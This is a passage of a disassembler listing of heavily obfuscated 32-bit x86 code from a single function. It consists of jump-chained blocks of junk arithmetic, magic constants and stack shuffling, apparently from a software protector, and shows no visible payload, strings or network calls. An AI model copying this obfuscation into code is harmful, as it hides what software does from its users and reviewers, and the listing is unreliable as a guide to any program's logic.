		push	edx
		jmp	loc_5B1DC5
; ---------------------------------------------------------------------------


loc_5B09F2:				; CODE XREF: sub_58A891+23A05j
		pop	ecx
		mov	ebx, ecx
		mov	ecx, [esp+0D6h+var_D6]
		jmp	loc_5AAE5F
; ---------------------------------------------------------------------------


loc_5B09FD:				; CODE XREF: sub_58A891+1CEB6j
					; sub_58A891+1EEF5j ...
		xor	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		mov	ax, word ptr [esp+20h+var_20]
		push	4C34h
		mov	[esp+24h+var_24], eax
		jmp	loc_59EA3C
; ---------------------------------------------------------------------------


loc_5B0A14:				; CODE XREF: sub_58A891+254AFj
		push	ebp
		mov	ebp, 54EA5F14h
		push	2127h
		mov	[esp+16h+var_18+2], eax
		jmp	loc_5AC708
; ---------------------------------------------------------------------------


loc_5B0A27:				; CODE XREF: sub_58A891+12012j
		mov	[esp+0], ebp
		push	72E2h
		mov	[esp+9Eh+var_9E], ebx
		xor	[esp+9Eh+var_9E], 7CDD0DF1h
		push	[esp+9Eh+var_9E]
		pop	ebp
		push	edi
		push	esp
		jmp	loc_5A3F9C
; ---------------------------------------------------------------------------


loc_5B0A44:				; CODE XREF: sub_58A891:loc_5A57FDj
		shl	ebx, 4
		jmp	loc_5AF877
; ---------------------------------------------------------------------------


loc_5B0A4C:				; CODE XREF: sub_58A891+1BE62j
		xor	esi, [esp+2Eh+var_30+2]
		jmp	loc_5AFCC8
; ---------------------------------------------------------------------------


loc_5B0A54:				; CODE XREF: sub_58A891+2049Bj
		sub	ebx, edi
		pop	edi
		sub	ebx, 6C020253h
		jmp	loc_5B14CE
; ---------------------------------------------------------------------------


loc_5B0A62:				; CODE XREF: sub_58A891+1B4F9j
		push	edx
		jmp	loc_59D966
; ---------------------------------------------------------------------------


loc_5B0A68:				; CODE XREF: sub_58A891+203D2j
		pop	esp
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edi
		push	esp
		push	[esp+1Eh+var_20+2]
		pop	edi
		jmp	loc_5A65DA
; ---------------------------------------------------------------------------


loc_5B0A79:				; CODE XREF: sub_58A891+236CDj
		push	esi
		mov	esi, 63B31363h
		xor	eax, esi
		mov	esi, [esp+56h+var_58+2]
		add	esp, 4
		not	eax
		xor	eax, 0C2E0545Ah
		push	edx
		mov	edx, 646F35DEh
		jmp	loc_5A3561
; ---------------------------------------------------------------------------
		mov	eax, [esp+56h+var_58+2]
		push	edi
		push	5FE1h
		push	233h
		mov	[esp+62h+var_64+2], esp
		add	[esp+62h+var_64+2], 4
		pop	[esp+62h+var_64+2]
		sub	esp, 4
		mov	[esp+62h+var_64+2], ebp
		push	ecx
		mov	ecx, 6AF96906h
		jmp	loc_5AAAD9
; ---------------------------------------------------------------------------


loc_5B0AC2:				; CODE XREF: sub_58A891+20EEEj
		xchg	eax, [esp+6Eh+var_70+2]
		mov	esp, [esp+6Eh+var_70+2]
		pop	[esp+6Eh+var_70+2]
		mov	esp, [esp+6Ah+var_6C+2]
		jmp	loc_5A14D0
; ---------------------------------------------------------------------------


loc_5B0AD3:				; CODE XREF: sub_58A891+1CF2Aj
		mov	[esp+56h+var_58+2], ecx
		push	0B8A36CCh
		mov	ecx, [esp+5Ah+var_5C+2]
		add	esp, 4
		xor	eax, ecx
		push	[esp+56h+var_58+2]
		pop	ecx
		jmp	loc_5B0266
; ---------------------------------------------------------------------------


loc_5B0AEF:				; CODE XREF: sub_58A891+15F74j
		add	esp, 4
		jmp	loc_5A8202
; ---------------------------------------------------------------------------


loc_5B0AF7:				; CODE XREF: sub_58A891+17BC4j
					; sub_58A891+1A5A4j
		push	29540CB7h
		pop	eax
		shl	eax, 4
		jns	loc_59CABD
		push	ecx
		mov	ecx, 470908F1h
		shr	ecx, 2
		xor	ecx, 8482894Dh
		sub	eax, ecx
		pop	ecx
		mov	ebx, eax
		push	[esp+0C6h+var_C6]
		pop	eax
		push	ebx
		jmp	loc_5AC414
; ---------------------------------------------------------------------------


loc_5B0B24:				; CODE XREF: sub_58A891+25B1Aj
		add	ebx, 135A8A8h
		jmp	loc_5A3A2E
; ---------------------------------------------------------------------------


loc_5B0B2F:				; CODE XREF: sub_58A891+2826Ej
		add	[esp+26h+var_28+2], 312C43FFh
		pop	ebp
		sub	ebp, 312C43FFh
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		sub	eax, ebp
		push	[esp+1Eh+var_20+2]
		jmp	loc_5B0310
; ---------------------------------------------------------------------------


loc_5B0B4D:				; CODE XREF: sub_58A891+1F5F6j
		mov	edi, [esp+56h+var_58+2]
		jmp	loc_5A8805
; ---------------------------------------------------------------------------


loc_5B0B55:				; CODE XREF: sub_58A891+1CD8Aj
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ebp
		jmp	loc_5A7473
; ---------------------------------------------------------------------------


loc_5B0B63:				; CODE XREF: sub_58A891+19928j
		pop	esi
		sub	esi, 24A5419h
		add	esi, edx
		jmp	loc_5AB34B
; ---------------------------------------------------------------------------


loc_5B0B71:				; CODE XREF: sub_58A891+19EF3j
		sub	edx, 358C1A2Dh
		push	edi
		mov	edi, 61C415E2h
		push	ecx
		mov	ecx, 0C957909h
		push	edi
		mov	edi, 8F57ECh
		shr	edi, 2
		add	edi, 7EE36AAh
		push	eax
		mov	eax, 0A2C1AF1h
		not	eax
		push	edx
		mov	edx, 3F692125h
		shr	edx, 7
		sub	edx, 0B11A5914h
		add	eax, edx
		pop	edx
		and	edi, eax
		pop	eax
		add	edi, 1A679084h
		add	ecx, edi
		mov	edi, [esp+0F6h+var_F8+2]
		jmp	loc_5AD937
; ---------------------------------------------------------------------------


loc_5B0BBF:				; CODE XREF: sub_58A891+11781j
		add	edi, esi
		sub	edi, 8457Dh
		add	edi, 10C43266h
		pop	esi
		xchg	edi, [esp+2Ah+var_2C+2]
		pop	esp
		mov	ax, word ptr [esp+26h+var_28+2]
		push	esi
		jmp	loc_5A49FA
; ---------------------------------------------------------------------------


loc_5B0BDC:				; CODE XREF: sub_58A891:loc_5A79B5j
		and	edx, 1D344E38h
		push	edx
		dec	[esp+0ACh+var_AE+2]
		jmp	loc_5A5441
; ---------------------------------------------------------------------------


loc_5B0BEB:				; CODE XREF: sub_58A891+227FAj
		xor	di, 0B2EDh
		mov	bx, di
		pop	edi
		shl	bx, 7
		sub	bx, 0FFFFh
		shl	bx, 7
		shl	bx, 4
		add	bx, 35D6h
		sub	bx, 2EF9h
		push	bx
		add	word ptr [esp+0], 7F2Ch
		jmp	loc_5A8ACF
; ---------------------------------------------------------------------------


loc_5B0C1B:				; CODE XREF: sub_58A891+17664j
		shr	edi, 5
		jnp	loc_5B1364
		jmp	loc_5A4CDB
; ---------------------------------------------------------------------------


loc_5B0C29:				; CODE XREF: sub_58A891+17612j
		push	4194h
		mov	[esp+0A8h+var_AA+2], ebx
		mov	bh, 5Ch
		xor	dl, bh
		pop	ebx
		dec	dl
		sub	dl, 8Fh
		sub	cl, dl
		pop	edx
		jmp	loc_5AC13B
; ---------------------------------------------------------------------------


loc_5B0C43:				; CODE XREF: sub_58A891+16680j
					; sub_58A891+2604Aj
		neg	ebx
		jmp	loc_5A14FB
; ---------------------------------------------------------------------------


loc_5B0C4A:				; CODE XREF: sub_58A891+12BADj
		pop	edx
		sub	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_24+2], esi
		jmp	loc_5A433D
; ---------------------------------------------------------------------------


loc_5B0C5C:				; CODE XREF: sub_58A891+23F94j
		mov	[esp+9Eh+var_9E], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+0A2h+var_9E]
		jmp	loc_5A91BE
; ---------------------------------------------------------------------------


loc_5B0C77:				; CODE XREF: sub_58A891+25B42j
		sub	ebx, ecx
		jmp	loc_5AB07E
; ---------------------------------------------------------------------------


loc_5B0C7E:				; CODE XREF: sub_58A891+1570Aj
		push	esp
		pop	ecx
		push	edi
		push	81Ch
		mov	[esp+5Ah+var_5C+2], ecx
		mov	ecx, 4D7E379Fh
		dec	ecx
		jns	loc_59D792
		not	ecx
		jmp	loc_5A1F28
; ---------------------------------------------------------------------------
		mov	ebx, [esp+5Ah+var_5C+2]
		push	esi


loc_5B0CA0:				; CODE XREF: sub_58A891+18EBBj
		pop	ebp
		push	edx
		mov	edx, 6AC7B40h
		sub	eax, edx
		jmp	loc_5AD774
; ---------------------------------------------------------------------------


loc_5B0CAE:				; CODE XREF: sub_58A891+27267j
		mov	edi, 233E3D46h
		add	ebp, edi
		pop	edi
		sub	ebp, esi
		sub	ebp, 233E3D46h
		mov	esi, [esp+5Ah+var_5C+2]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		push	7B4Dh
		mov	[esp+56h+var_58+2], ebp
		push	32FB561Ch
		push	[esp+5Ah+var_5C+2]
		pop	ebp
		add	esp, 4
		xor	ebp, 784D108Bh
		jmp	loc_5A9177
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+56h+var_58+2]
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5AF190
; ---------------------------------------------------------------------------


loc_5B0D03:				; CODE XREF: sub_58A891+20AAAj
		jp	loc_5A8E51
		and	ebp, 288A44EEh
		jmp	loc_5A0713
; ---------------------------------------------------------------------------


loc_5B0D14:				; CODE XREF: sub_58A891+1DEA9j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		jmp	loc_5A328C
; ---------------------------------------------------------------------------


loc_5B0D29:				; CODE XREF: sub_58A891+1DE0Cj
		not	edi
		xor	edi, 0C4623E1h
		jmp	loc_5A9A5A
; ---------------------------------------------------------------------------


loc_5B0D36:				; CODE XREF: sub_58A891+1DAC1j
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 1CDD3902h
		sub	esi, 135E2787h
		neg	esi
		shl	esi, 1
		xor	esi, 59346B3Ch
		jmp	loc_59F84E
; ---------------------------------------------------------------------------


loc_5B0D59:				; CODE XREF: sub_58A891+23960j
		xor	eax, 37A9378Eh
		jmp	loc_5A1A18
; ---------------------------------------------------------------------------


loc_5B0D63:				; CODE XREF: sub_58A891+1FCAAj
		or	ebx, 69F64F78h
		xor	ebx, 2CAA31C7h
		sub	ebx, 43554EB6h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_59EEDB
; ---------------------------------------------------------------------------


loc_5B0D83:				; CODE XREF: sub_58A891+1AB4Aj
		xor	ebx, 1AA63DC7h
		jno	loc_5A13A7
		jmp	loc_5A581D
; ---------------------------------------------------------------------------
		xor	eax, edx
		pop	edx
		sub	ebx, eax


loc_5B0D99:				; CODE XREF: sub_58A891+194A4j
		mov	edx, 400h
		push	edx
		mov	ebx, [esp+0B8h+var_BA+2]
		add	esp, 4
		mov	edx, [esp+0B4h+var_B6+2]
		add	esp, 4
		mov	ecx, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5A1E73
; ---------------------------------------------------------------------------


loc_5B0DB9:				; CODE XREF: sub_58A891+13E47j
					; sub_58A891+28607j
		pop	esp
		pop	[esp+0A0h+var_A2+2]
		pop	esp
		push	5507h
		mov	[esp+9Ch+var_9E+2], esi
		sub	esp, 4
		mov	[esp+0A0h+var_A2+2], ebp
		push	0C8A267Fh
		pop	ebp
		neg	ebp
		jmp	loc_59CBBA
; ---------------------------------------------------------------------------


loc_5B0DDC:				; CODE XREF: sub_58A891+18E0Ej
					; sub_58A891+242AEj
		xchg	eax, [esp+0EAh+var_EC+2]
		pop	esp
		sub	edx, 0FFFFFFFFh
		jmp	loc_5A9498
; ---------------------------------------------------------------------------


loc_5B0DEB:				; CODE XREF: sub_58A891+130D0j
		add	esi, 4
		jmp	loc_5A8085
; ---------------------------------------------------------------------------


loc_5B0DF6:				; CODE XREF: sub_58A891+1A5CEj
		add	edx, edi
		push	[esp+0B0h+var_B2+2]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0B4h+var_B6+2]
		mov	esp, [esp+0B4h+var_B6+2]
		jmp	loc_5A20ED
; ---------------------------------------------------------------------------


loc_5B0E16:				; CODE XREF: sub_58A891+1E7D5j
		pop	edi
		push	ebx
		mov	ebx, 36232160h
		shr	ebx, 6
		shr	ebx, 8
		sub	ebx, 0F2737EDh
		sub	ebx, 0F0D9A09Bh
		add	edi, ebx
		pop	ebx
		push	11DBh
		mov	[esp+0B2h+var_B2], ebp
		mov	ebp, 4
		push	ebx
		mov	ebx, 77685E2Fh
		neg	ebx
		jmp	loc_5A0735
; ---------------------------------------------------------------------------


loc_5B0E4C:				; CODE XREF: sub_58A891+15431j
		add	ecx, 47092A03h
		add	ecx, ebx
		jmp	loc_5AA04D
; ---------------------------------------------------------------------------


loc_5B0E59:				; CODE XREF: sub_58A891+25A4Cj
		or	dh, 0D1h
		push	ax
		mov	al, 32h
		sub	dh, al
		pop	ax
		shr	dh, 1
		shr	dh, 3
		add	dh, 0F5h
		sub	al, dh
		pop	edx
		add	al, bh
		add	al, 1
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_59C155
; ---------------------------------------------------------------------------


loc_5B0E7C:				; CODE XREF: sub_58A891+285A1j
		pop	ebp
		xor	eax, edi
		push	[esp-0Ah+arg_0+2]
		mov	edi, [esp+0]
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_5AA969
; ---------------------------------------------------------------------------


loc_5B0EA2:				; CODE XREF: sub_58A891+24B7Ej
		pop	edx
		sub	eax, 4D916FCEh
		add	eax, 48761AB1h
		push	[esp+56h+var_58+2]
		pop	ebx
		sub	esp, 4
		jmp	loc_5A18E3
; ---------------------------------------------------------------------------


loc_5B0EBC:				; CODE XREF: sub_58A891+27315j
		push	edx
		mov	edx, 67DD73C7h
		add	edx, 465BE50Eh
		jmp	loc_5AD550
; ---------------------------------------------------------------------------


loc_5B0ECD:				; CODE XREF: sub_58A891+26811j
		mov	[esp+5Eh+var_60+2], edx
		mov	edx, 8F002B8h
		sub	esi, 7B2C2F1Eh
		sub	esi, edx
		push	ecx
		mov	ecx, 39A4393Ch
		jmp	loc_5A148E
; ---------------------------------------------------------------------------


loc_5B0EE8:				; CODE XREF: sub_58A891+158A6j
		add	esp, 4
		add	[esp+98h+var_94], ecx
		push	[esp+98h+var_98]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5B1F44
; ---------------------------------------------------------------------------


loc_5B0F08:				; CODE XREF: sub_58A891+23A7Dj
		push	edi
		mov	edi, 10D4231Bh
		and	edi, 144268Eh
		shr	edi, 3
		jmp	loc_5A8C87
; ---------------------------------------------------------------------------


loc_5B0F1C:				; CODE XREF: sub_58A891+134CEj
		pop	ebp
		inc	edx
		push	ebx
		mov	ebx, 1
		add	edx, ebx
		pop	ebx
		dec	edx
		sub	edx, 0D8EF269Ch
		jmp	loc_5A1F21
; ---------------------------------------------------------------------------


loc_5B0F33:				; CODE XREF: sub_58A891+12E2Aj
		sub	edx, 1D6139CDh
		pop	ecx
		pop	eax
		xchg	edx, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		mov	ax, word ptr [esp+22h+var_24+2]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 3D8247F0h
		xor	edx, 3D8247F4h
		add	eax, edx
		pop	edx
		jmp	loc_5A366B
; ---------------------------------------------------------------------------


loc_5B0F5C:				; CODE XREF: sub_58A891+16CF8j
		xor	edx, 47F957FEh
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xor	ebx, [esp+0A2h+var_A2]
		jmp	loc_5A7F70
; ---------------------------------------------------------------------------


loc_5B0F73:				; CODE XREF: sub_58A891+1D09Dj
		mov	eax, edi
		mov	edi, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_5B1E29
; ---------------------------------------------------------------------------


loc_5B0F80:				; CODE XREF: sub_58A891+14664j
		add	esp, 4
		jmp	loc_5A2486
; ---------------------------------------------------------------------------


loc_5B0F88:				; CODE XREF: sub_58A891+19D47j
		pop	ebp
		push	ebx
		jmp	loc_5A6284
; ---------------------------------------------------------------------------


loc_5B0F8F:				; CODE XREF: sub_58A891:loc_5A524Aj
					; sub_58A891+217E4j
		mov	[esp+0A6h+var_A6], ebp
		mov	ebp, esp
		jmp	loc_5ACBF8
; ---------------------------------------------------------------------------


loc_5B0F99:				; CODE XREF: sub_58A891+18F03j
		mov	ecx, [esp+0CEh+var_CE]
		add	esp, 4
		push	653h
		mov	[esp+0CEh+var_CE], esi
		push	eax
		jmp	loc_59E50F
; ---------------------------------------------------------------------------


loc_5B0FB0:				; CODE XREF: sub_58A891+22E35j
		add	ecx, 53D16644h
		sub	ecx, 82BF65DFh
		sub	edx, 2ABF3C63h
		jmp	loc_5A359C
; ---------------------------------------------------------------------------


loc_5B0FC7:				; CODE XREF: sub_58A891+1C50Bj
		mov	[esp+36h+var_38+2], ecx
		mov	ecx, 7DB46A74h
		jmp	loc_5A927B
; ---------------------------------------------------------------------------


loc_5B0FD4:				; CODE XREF: sub_58A891+1D36Cj
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, 1000000h
		and	eax, ecx
		push	[esp+0Eh+var_10+2]
		push	[esp+12h+var_14+2]
		jmp	loc_5AA91D
; ---------------------------------------------------------------------------


loc_5B0FED:				; CODE XREF: sub_58A891+28748j
		add	esp, 4
		shr	edx, 8
		add	edx, 0EE9B6C5h
		push	ebx
		push	4856h
		mov	[esp+1Ah+var_1C+2], eax
		mov	eax, 610618C4h
		mov	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		sub	eax, edx
		sub	eax, 610618C4h
		pop	edx
		push	293Bh
		jmp	loc_5B2DE3
; ---------------------------------------------------------------------------


loc_5B101F:				; CODE XREF: sub_58A891+1919Fj
					; sub_58A891+19CC0j
		push	[esp+0B2h+var_B2]
		pop	ebx
		push	ecx
		jmp	loc_5AB52F
; ---------------------------------------------------------------------------


loc_5B1029:				; CODE XREF: sub_58A891+1FE38j
		sub	ebx, 6A23639Eh
		and	ebx, 5BA2660Ch
		push	edi
		mov	edi, 23637125h
		neg	edi
		shr	edi, 2
		dec	edi
		xor	edi, 0B3ABA2BBh
		xor	ebx, edi
		pop	edi
		add	ebp, 3F435A5Ch
		add	ebp, ebx
		sub	ebp, 3F435A5Ch
		jmp	loc_5AAAEA
; ---------------------------------------------------------------------------


loc_5B105D:				; CODE XREF: sub_58A891+1E60Cj
		jno	loc_5A22BB
		inc	bl
		js	loc_5ACB78
		push	ecx
		mov	cl, 7Bh
		pop	edi


loc_5B106F:				; CODE XREF: sub_58A891+19006j
		pop	ecx
		add	edi, eax
		sub	edi, 6625657Ah
		mov	eax, [esp+1Ah+var_1C+2]
		jmp	loc_59FBA5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+16h+var_18+2], eax
		pushf
		jmp	loc_5B1E29
; ---------------------------------------------------------------------------


loc_5B108E:				; CODE XREF: sub_58A891+18423j
					; sub_58A891+1BE72j
		pop	eax
		shr	esi, 7
		push	esi
		not	[esp+6Ch+var_6C]
		mov	esi, [esp+6Ch+var_6C]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5B0ECD
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A364F
; ---------------------------------------------------------------------------


loc_5B10AD:				; CODE XREF: sub_58A891+17182j
		sub	bl, al
		jmp	loc_5ACE58
; ---------------------------------------------------------------------------


loc_5B10B4:				; CODE XREF: sub_58A891+1D5D0j
		mov	[esp+2Ah+var_2C+2], ebp
		mov	ebp, 3534CBF1h
		xor	esi, ebp
		pop	ebp
		add	eax, 4DCD0F83h
		sub	eax, esi
		push	edx
		mov	edx, 3E791FBDh
		shr	edx, 8
		shl	edx, 4
		not	edx
		xor	edx, 34955302h
		jmp	loc_59F1C0
; ---------------------------------------------------------------------------


loc_5B10DF:				; CODE XREF: sub_58A891+1171Dj
		push	esi
		push	edi
		jmp	loc_5AFD60
; ---------------------------------------------------------------------------


loc_5B10E6:				; CODE XREF: sub_58A891+1C184j
		push	6EFBh
		jmp	loc_5B122C
; ---------------------------------------------------------------------------


loc_5B10F0:				; CODE XREF: sub_58A891+19047j
		mov	edx, 50B20FE2h
		or	esi, edx
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		add	esi, 5CCA1D16h
		jnz	loc_5AFEB5
		sub	esi, 0AEBC4CD9h
		mov	ebx, esi
		mov	dl, 0FEh
		push	edi


loc_5B1115:				; CODE XREF: sub_58A891+19064j
		sub	esp, 4
		mov	[esp+46h+var_48+2], ebx
		mov	ebx, 4
		push	esi
		mov	esi, 5BF458CAh
		or	esi, 0A6207EFh
		sub	esi, 0ED0C069Fh
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 117346B4h
		not	ebp
		dec	ebp
		sub	ebp, 1
		sub	ebp, 218B519Eh
		shr	ebp, 2
		jmp	loc_5A4B3D
; ---------------------------------------------------------------------------


loc_5B1155:				; CODE XREF: sub_58A891+11F86j
		neg	ecx
		jg	loc_5AD11E
		jmp	loc_5A85A1
; ---------------------------------------------------------------------------


loc_5B1162:				; CODE XREF: sub_58A891+1ABABj
		sub	esp, 4
		mov	[esp+0AEh+var_AE], esp
		add	[esp+0AEh+var_AE], 4
		jmp	loc_5A1836
; ---------------------------------------------------------------------------


loc_5B1174:				; CODE XREF: sub_58A891+1AE81j
		mov	cx, word ptr [esp+5Ah+var_5C+2]
		push	edi
		mov	edi, esp
		jmp	loc_59E3D1
; ---------------------------------------------------------------------------


loc_5B1180:				; CODE XREF: sub_58A891+14733j
		mov	ebx, esi
		pop	esi
		pop	edi
		add	ebp, 55661E90h
		add	ebp, 36FF4CE3h
		add	ebp, ebx
		sub	ebp, 36FF4CE3h
		push	ecx
		jmp	loc_5A8193
; ---------------------------------------------------------------------------


loc_5B119E:				; CODE XREF: sub_58A891+19718j
		add	edi, eax
		push	ebx
		push	ecx
		push	eax
		jmp	loc_5AD21A
; ---------------------------------------------------------------------------


loc_5B11A8:				; CODE XREF: sub_58A891+21181j
		pop	edi
		push	edi
		mov	edi, edx
		mov	eax, edi
		pop	edi
		pop	edx
		jmp	loc_5AD53A
; ---------------------------------------------------------------------------


loc_5B11B5:				; CODE XREF: sub_58A891+1410Aj
		sub	ebp, 557459E6h
		dec	ebp
		add	ebp, 0A2897C0Fh
		add	ebx, ebp
		mov	ebp, [esp+0A0h+var_A2+2]
		add	esp, 4
		push	edi
		jmp	loc_5B0524
; ---------------------------------------------------------------------------


loc_5B11D0:				; CODE XREF: sub_58A891+1481Cj
		add	eax, ecx
		sub	eax, 256252E9h
		mov	ecx, [esp+0DEh+var_DE]
		add	esp, 4
		jmp	loc_5B1AFD
; ---------------------------------------------------------------------------


loc_5B11E5:				; CODE XREF: sub_58A891+12D4Ej
		or	esi, ecx
		jmp	loc_5A676E
; ---------------------------------------------------------------------------


loc_5B11EC:				; CODE XREF: sub_58A891+17D64j
		add	dl, ah
		jmp	loc_5A87F7
; ---------------------------------------------------------------------------


loc_5B11F3:				; CODE XREF: sub_58A891+21549j
		add	[esp+4Eh+var_50+2], 4
		jmp	loc_5A1615
; ---------------------------------------------------------------------------


loc_5B11FC:				; CODE XREF: sub_58A891+2425Dj
		add	esi, edx
		push	[esp+1Eh+var_20+2]
		jmp	loc_5A2976
; ---------------------------------------------------------------------------


loc_5B1206:				; CODE XREF: sub_58A891+1E502j
		xor	ecx, [esp+0AAh+var_AA]
		jmp	loc_5A111F
; ---------------------------------------------------------------------------


loc_5B120E:				; CODE XREF: sub_58A891+15B82j
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A7AFC
; ---------------------------------------------------------------------------


loc_5B121C:				; CODE XREF: sub_58A891+1FB93j
		not	bl
		sub	bl, 32h
		jns	loc_5AD4EB
		jmp	loc_5AB3E9
; ---------------------------------------------------------------------------


loc_5B122C:				; CODE XREF: sub_58A891+2685Aj
		mov	[esp+5Ch+var_5C], ecx
		jmp	loc_5A32BB
; ---------------------------------------------------------------------------


loc_5B1234:				; CODE XREF: sub_58A891+1E928j
		push	ecx
		jmp	loc_5A392A
; ---------------------------------------------------------------------------


loc_5B123A:				; CODE XREF: sub_58A891+23B63j
		mov	esp, [esp+3Ah+var_3C+2]
		dec	[esp+3Ah+var_3C+2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1246:				; CODE XREF: sub_58A891+12564j
		mov	edx, 5F631242h
		add	edx, 581B6B2Ch
		jmp	loc_5A79B5
; ---------------------------------------------------------------------------


loc_5B1256:				; CODE XREF: sub_58A891+20A7Bj
		pop	esp
		sub	esp, 4
		jmp	loc_5AFD3D
; ---------------------------------------------------------------------------


loc_5B1262:				; CODE XREF: sub_58A891:loc_5A498Ej
		dec	ch
		jmp	loc_5A6EB4
; ---------------------------------------------------------------------------


loc_5B1269:				; CODE XREF: sub_58A891:loc_5A85B5j
		or	edi, 3064136Ah
		jl	loc_5A37B7
		sub	edi, 1DC30149h
		jl	loc_5A404D
		dec	edi
		jl	loc_5ADEF6
		jmp	loc_5A4E3A
; ---------------------------------------------------------------------------


loc_5B128D:				; CODE XREF: sub_58A891+23D18j
		mov	esi, [esp+42h+var_44+2]
		jmp	loc_5A591D
; ---------------------------------------------------------------------------


loc_5B1295:				; CODE XREF: sub_58A891+24F12j
		mov	eax, 4DE7D5BDh
		sub	edx, eax
		jmp	loc_5ABC03
; ---------------------------------------------------------------------------


loc_5B12A1:				; CODE XREF: sub_58A891+27FB2j
		pop	ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5A8670
; ---------------------------------------------------------------------------


loc_5B12B1:				; CODE XREF: sub_58A891:loc_5A5441j
		not	ch
		not	ch
		shl	ch, 8
		jmp	loc_5A85A6
; ---------------------------------------------------------------------------


loc_5B12BD:				; CODE XREF: sub_58A891+125FDj
					; sub_58A891+1ECB0j
		pop	[esp+9Ch+var_9E+2]
		add	[esp+98h+var_98], 4
		pop	eax
		push	ebp
		mov	ebp, 4
		jmp	loc_5A6B1F
; ---------------------------------------------------------------------------


loc_5B12D3:				; CODE XREF: sub_58A891+17544j
		sub	ebx, 6ACA127Fh
		add	ebx, edx
		jmp	loc_5AAED2
; ---------------------------------------------------------------------------


loc_5B12E0:				; CODE XREF: sub_58A891+13F09j
		js	loc_59C37E
		jmp	loc_5A4686
; ---------------------------------------------------------------------------


loc_5B12EB:				; CODE XREF: sub_58A891+129F4j
		push	edi
		push	esp
		pop	edi
		push	5B07h
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 445F44CAh
		add	ebp, 0BBA0BB3Ah
		add	edi, 260670FDh
		add	edi, ebp
		sub	edi, 260670FDh
		pop	ebp
		jmp	loc_59D086
; ---------------------------------------------------------------------------


loc_5B1315:				; CODE XREF: sub_58A891+1CFD5j
		add	edx, 18AB0801h
		add	edx, 0C69FF927h
		sub	eax, edx
		pop	edx
		jmp	loc_5ACD4B
; ---------------------------------------------------------------------------


loc_5B1329:				; CODE XREF: sub_58A891+210FFj
		pop	ebp
		add	edx, 4
		xor	edx, [esp+54h+var_54]
		jmp	loc_5AF19D
; ---------------------------------------------------------------------------


loc_5B1335:				; CODE XREF: sub_58A891+16517j
		push	edx
		mov	edx, 472C0A70h
		push	edi
		mov	edi, 0E157Bh
		jmp	loc_5AF7CC
; ---------------------------------------------------------------------------


loc_5B1346:				; CODE XREF: sub_58A891+23CD9j
		push	ebx
		mov	ebx, 3BF029F6h
		add	ebx, 85B5987Bh
		jmp	loc_5AE42F
; ---------------------------------------------------------------------------


loc_5B1357:				; CODE XREF: sub_58A891+1D457j
		add	esp, 4
		push	cx
		jmp	loc_59CED1
; ---------------------------------------------------------------------------


loc_5B1364:				; CODE XREF: sub_58A891+25D8Ej
					; sub_58A891+2638Dj
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 57E613A8h
		jmp	loc_59DC62
; ---------------------------------------------------------------------------


loc_5B137B:				; CODE XREF: sub_58A891+231F9j
		pop	edx
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], edi
		mov	edi, 399114A1h
		xor	ebx, edi
		pop	edi
		jmp	loc_5AB7D5
; ---------------------------------------------------------------------------


loc_5B1392:				; CODE XREF: sub_58A891:loc_59E6EBj
		sub	esi, 969946Fh
		add	esi, 5B581639h
		xor	esi, 5DA8584Fh
		shl	esi, 1
		shr	esi, 5
		push	ebp
		mov	ebp, 349FC348h
		add	esi, ebp
		jmp	loc_5B27F0
; ---------------------------------------------------------------------------


loc_5B13B6:				; CODE XREF: sub_58A891+15E64j
		push	[esp+0AAh+var_AA]
		jmp	loc_5AF0F7
; ---------------------------------------------------------------------------


loc_5B13BE:				; CODE XREF: sub_58A891+27D3Cj
		shl	edi, 1
		jnz	loc_5AB602
		jmp	loc_5A53C7
; ---------------------------------------------------------------------------
		mov	[esp+0AEh+var_AE], ebp
		push	eax
		mov	eax, 0D4C16FDh
		push	edi


loc_5B13D5:				; CODE XREF: sub_58A891+1A5B4j
		pop	ebx
		jmp	loc_5A8ED7
; ---------------------------------------------------------------------------


loc_5B13DB:				; CODE XREF: sub_58A891+22E1Bj
		add	eax, 26231CEAh
		add	eax, ecx
		jmp	loc_5A782A
; ---------------------------------------------------------------------------


loc_5B13E7:				; CODE XREF: sub_58A891+16E95j
		add	edx, 4
